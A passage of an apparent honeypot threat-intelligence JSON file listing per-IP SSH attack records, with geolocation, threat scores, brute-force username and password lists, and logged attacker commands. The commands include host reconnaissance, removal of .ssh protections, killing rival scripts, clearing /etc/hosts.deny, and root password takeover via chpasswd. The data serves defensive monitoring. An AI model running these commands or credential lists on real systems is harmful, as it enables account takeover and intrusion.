      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "steam",
        "ubuntu",
        "admin",
        "developer",
        "dspace",
        "frappe",
        "server",
        "sonarqube",
        "user-backup",
        "user1",
        "user2",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12341234",
        "1234567as",
        "123QWE321",
        "1qaz!QAZ",
        "1qaz@WSX3edc$RFV@",
        "54321",
        "6yhnMJU&",
        "ADMINISTRATOR1",
        "Admin2",
        "Bhuvan@1234567",
        "LHY@123.com!",
        "Liu123456",
        "Pass@123456",
        "Password.1234",
        "Password2023",
        "Q1W2E3R4T5Y6",
        "QQcc000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin\\nRNGKiCpWVx83\\nRNGKiCpWVx83\\n\"|passwd",
        "echo \"root2025\\nfcJgKQl1VDbP\\nfcJgKQl1VDbP\\n\"|passwd",
        "echo \"root:K7bsOiz1sbRo\"|chpasswd|bash",
        "echo \"root:fP8vkRn8NJdn\"|chpasswd|bash",
        "echo \"root:mbx8aPV8MVO1\"|chpasswd|bash",
        "echo -e \"admin\\nRNGKiCpWVx83\\nRNGKiCpWVx83\"|passwd|bash",
        "echo -e \"root2025\\nfcJgKQl1VDbP\\nfcJgKQl1VDbP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Rwanda",
      "country_code": "RW",
      "city": null,
      "asn": 37228,
      "as_org": "Olleh-Rwanda-Networks",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 691,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:25:38.512000+00:00",
        "last_seen_30d": "2026-04-27T21:31:48.170000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 124
      }
    },
    "27.79.4.247": {
      "attack_count": 434,
      "first_seen": "2026-04-17T01:08:57.492Z",
      "last_seen": "2026-04-17T01:43:55.889Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "developer",
        "ftp",
        "ubnt",
        "1234",
        "123456",
        "ace",
        "admian",
        "am",
        "anton",
        "ashish",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "cisco",
        "cpanel",
        "george",
        "help"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "P@ssw0rd",
        "admin",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "12345678",
        "321start",
        "72b1bd75ac87852a",
        "@",
        "ace",
        "admin01",
        "admin@123",
        "aerohive",
        "am",
        "anton",
        "ashish"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 616,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T01:08:57.492000+00:00",
        "last_seen_30d": "2026-04-17T01:45:05.285000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 182
      }
    },
    "103.151.140.97": {
      "attack_count": 399,
      "first_seen": "2026-04-21T14:10:41.824Z",
      "last_seen": "2026-04-21T14:57:16.519Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "frappe",
        "ftpuser",
        "git",
        "test",
        "test5",
        "admin",
        "ali",
        "dockeruser",
        "erick",
        "n8n",
        "testuser",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2025!",
        "!@#",
        "123",
        "1475963",
        "1q2w3e4r5t",
        "2222",
        "2345",
        "654321",
        "A123456A0871113890",
        "Admin14",
        "Ali19",
        "FtpUser",
        "Guest2025!",
        "P@ssw0rd@1",
        "abc123",
        "asd!@#",
        "erick",
        "login2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"!@#\\nrTdOGnbX44de\\nrTdOGnbX44de\\n\"|passwd",
        "echo \"root:RifWinBGBI1O\"|chpasswd|bash",
        "echo \"root:fNe9GrR9U89u\"|chpasswd|bash",
        "echo \"test5\\nazSzrxoMdTgo\\nazSzrxoMdTgo\\n\"|passwd",
        "echo -e \"!@#\\nrTdOGnbX44de\\nrTdOGnbX44de\"|passwd|bash",
        "echo -e \"test5\\nazSzrxoMdTgo\\nazSzrxoMdTgo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 140417,
      "as_org": "PT Indotechno Digital Komputasi",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 470,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:10:41.824000+00:00",
        "last_seen_30d": "2026-04-21T14:58:16.655000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 71
      }
    },
    "122.165.124.15": {
      "attack_count": 399,
      "first_seen": "2026-04-12T01:59:21.208Z",
      "last_seen": "2026-04-12T02:44:45.396Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "mark",
        "test",
        "admin",
        "bot",
        "brandon",
        "claude",
        "gerrit",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "1122334455",
        "123",
        "1qaz2wsx@#",
        "999999",
        "Abcd1234567$",
        "Bc123456",
        "Bot!",
        "Ftpuser28!",
        "QWE",
        "QWERTYUI12345",
        "Root21",
        "Root321!",
        "abcd1234!@#$",
        "admin124",
        "admin12@#",
        "brandon",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"mark\\nH2aUmCGw8y5g\\nH2aUmCGw8y5g\\n\"|passwd",
        "echo \"root:6a4wj5TZbWDr\"|chpasswd|bash",
        "echo \"root:jTTbrt001GG3\"|chpasswd|bash",
        "echo \"test6\\nRv1nrjOAtIFm\\nRv1nrjOAtIFm\\n\"|passwd",
        "echo -e \"mark\\nH2aUmCGw8y5g\\nH2aUmCGw8y5g\"|passwd|bash",
        "echo -e \"test6\\nRv1nrjOAtIFm\\nRv1nrjOAtIFm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kollam",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:59:21.208000+00:00",
        "last_seen_30d": "2026-04-12T02:45:50.433000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 75
      }
    },
    "203.161.47.131": {
      "attack_count": 399,
      "first_seen": "2026-04-10T09:11:14.992Z",
      "last_seen": "2026-04-10T09:49:00.852Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "elk",
        "appuser",
        "bot1",
        "deploy",
        "ftp_user",
        "joe",
        "oliver",
        "site",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "202500",
        "202501",
        "Admin123",
        "Asdfghjkl",
        "P@ss.word1",
        "Root28!",
        "Teamspeak!",
        "aa123456",
        "appuser@123",
        "asdfghjkl1",
        "bot1",
        "changeme",
        "elk",
        "ftp_user",
        "hola1234",
        "oliver",
        "pass2025",
        "qazwsx000#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Teamspeak!\\nXBYF99RfwcAl\\nXBYF99RfwcAl\\n\"|passwd",
        "echo \"elk\\n1GY9ainFT7c2\\n1GY9ainFT7c2\\n\"|passwd",
        "echo \"root:eYWslVnIlc5Z\"|chpasswd|bash",
        "echo \"root:kXSi7yfgib9X\"|chpasswd|bash",
        "echo -e \"Teamspeak!\\nXBYF99RfwcAl\\nXBYF99RfwcAl\"|passwd|bash",
        "echo -e \"elk\\n1GY9ainFT7c2\\n1GY9ainFT7c2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T09:11:14.992000+00:00",
        "last_seen_30d": "2026-04-10T09:50:01.635000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 73
      }
    },
    "103.100.69.141": {
      "attack_count": 341,
      "first_seen": "2026-04-23T16:51:39.274Z",
      "last_seen": "2026-04-23T17:30:55.030Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "n8n",
        "arkserver",
        "dev",
        "laravel",
        "lubuntu",
        "postgres",
        "remoto",
        "server",
        "teamspeak3",
        "testuser",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "20232023",
        "Aa111111111",
        "Aa112211.",
        "Dev15",
        "Postgres05",
        "QQdd123123",
        "QQzz123123",
        "Qazwsx1111#$",
        "Qazwsx54321..",
        "Qwe_123456",
        "Root2021#$",
        "Root2025@@",
        "Root6666!@#",
        "Ubuntu25!",
        "Welcome@1234",
        "arkserver",
        "laravel"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"n8n04!\\nM7CTMCDeqrno\\nM7CTMCDeqrno\\n\"|passwd",
        "echo \"root:HJhZokbA4YVE\"|chpasswd|bash",
        "echo \"ubuntu=123654\\nmW5s1B4LKGPK\\nmW5s1B4LKGPK\\n\"|passwd",
        "echo -e \"n8n04!\\nM7CTMCDeqrno\\nM7CTMCDeqrno\"|passwd|bash",
        "echo -e \"ubuntu=123654\\nmW5s1B4LKGPK\\nmW5s1B4LKGPK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 34806,
      "as_org": "Asline Limited",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 413,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T16:51:39.274000+00:00",
        "last_seen_30d": "2026-04-23T17:31:56.247000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 72
      }
    },
    "103.191.14.210": {
      "attack_count": 331,
      "first_seen": "2026-04-13T16:04:07.749Z",
      "last_seen": "2026-04-13T16:47:19.122Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "deploy",
        "deployer",
        "info",
        "n8n",
        "shivam",
        "teamspeak",
        "test001"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123.ZXCV",
        "Abcd12345678@@",
        "Bot#",
        "Frappe0",
        "Hx123456",
        "N8n13",
        "P@$$w0rd",
        "P@ssw0rd3",
        "P@ssword24",
        "Teamspeak0",
        "Ubuntu14!",
        "ZAQ!2wsx2024#$",
        "abc123",
        "bot!@#",
        "bot07",
        "ddXX1234",
        "hz@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Frappe0\\ndO9M4UlH4ex9\\ndO9M4UlH4ex9\\n\"|passwd",
        "echo \"Ubuntu14!\\n2BLoIGIiio6h\\n2BLoIGIiio6h\\n\"|passwd",
        "echo \"root:tiW2Vekjllce\"|chpasswd|bash",
        "echo -e \"Frappe0\\ndO9M4UlH4ex9\\ndO9M4UlH4ex9\"|passwd|bash",
        "echo -e \"Ubuntu14!\\n2BLoIGIiio6h\\n2BLoIGIiio6h\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T16:04:07.749000+00:00",
        "last_seen_30d": "2026-04-13T16:48:20.701000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 70
      }
    },
    "36.69.144.192": {
      "attack_count": 330,
      "first_seen": "2026-04-12T01:57:29.192Z",
      "last_seen": "2026-04-12T02:45:41.199Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "mark",
        "admin",
        "bot",
        "brandon",
        "claude",
        "gerrit",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "1122334455",
        "123",
        "1qaz2wsx@#",
        "999999",
        "Abcd1234567$",
        "Bc123456",
        "Bot!",
        "Ftpuser28!",
        "QWE",
        "QWERTYUI12345",
        "Root21",
        "Root321!",
        "abcd1234!@#$",
        "admin124",
        "admin12@#",
        "brandon",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mark\\nelItnjneDbPg\\nelItnjneDbPg\\n\"|passwd",
        "echo \"root:RheSTzg28odo\"|chpasswd|bash",
        "echo \"root:S1ctCt9ByLRS\"|chpasswd|bash",
        "echo -e \"mark\\nelItnjneDbPg\\nelItnjneDbPg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:57:29.192000+00:00",
        "last_seen_30d": "2026-04-12T02:46:46.168000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "193.233.48.169": {
      "attack_count": 263,
      "first_seen": "2026-04-05T14:00:54.610Z",
      "last_seen": "2026-04-05T14:59:25.300Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "oracle",
        "ansadmin",
        "artem",
        "bitcoin",
        "ftpuser",
        "fuser",
        "odoo",
        "postgres",
        "root1",
        "test",
        "testuser",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123abc",
        "2022",
        "A123456-",
        "Abcd12345678.",
        "Admin@1234",
        "Bot2025",
        "Ftpuser123456",
        "Odoo05!",
        "QWERTYUIOP12",
        "Qazwsx2023!@#",
        "Root16!",
        "Server2025@",
        "Vpn2",
        "ZAQ!@123",
        "a123456/",
        "abc123xyz",
        "ansadmin@123",
        "artem"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Bot2025\\nGPgGEzaavu7z\\nGPgGEzaavu7z\\n\"|passwd",
        "echo \"oracle123\\nokdi28Lfb46P\\nokdi28Lfb46P\\n\"|passwd",
        "echo -e \"Bot2025\\nGPgGEzaavu7z\\nGPgGEzaavu7z\"|passwd|bash",
        "echo -e \"oracle123\\nokdi28Lfb46P\\nokdi28Lfb46P\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 207713,
      "as_org": "Global Internet Solutions LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T14:00:54.610000+00:00",
        "last_seen_30d": "2026-04-05T15:00:32.881000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 69
      }
    },
    "45.116.78.92": {
      "attack_count": 263,
      "first_seen": "2026-04-05T15:09:48.819Z",
      "last_seen": "2026-04-05T16:13:30.933Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "hamza",
        "admin",
        "deploy",
        "deployer",
        "dev",
        "postgres",
        "sammy",
        "server",
        "sftpuser",
        "test",
        "test1",
        "tomcat7",
        "user",
        "vpnuser",
        "wpyan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "111",
        "123",
        "7758521",
        "Dev12",
        "Postgres14!",
        "QAZ123!@#",
        "Qazwsx12345$",
        "Qwer123456.",
        "Server31!",
        "Zd123456",
        "abc123!!",
        "abc1234",
        "admin08",
        "admin1",
        "guest2025",
        "hamza@123",
        "password1234567"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"guest2025\\nGH6JMZbXVR9Q\\nGH6JMZbXVR9Q\\n\"|passwd",
        "echo \"hamza@123\\n2mfgTSVYgjts\\n2mfgTSVYgjts\\n\"|passwd",
        "echo -e \"guest2025\\nGH6JMZbXVR9Q\\nGH6JMZbXVR9Q\"|passwd|bash",
        "echo -e \"hamza@123\\n2mfgTSVYgjts\\n2mfgTSVYgjts\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:09:48.819000+00:00",
        "last_seen_30d": "2026-04-05T16:14:33.925000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "119.15.80.175": {
      "attack_count": 262,
      "first_seen": "2026-04-04T22:46:07.501Z",
      "last_seen": "2026-04-04T23:54:02.355Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "parth",
        "bart",
        "claude",
        "coco",
        "dev",
        "elasticsearch",
        "mpi",
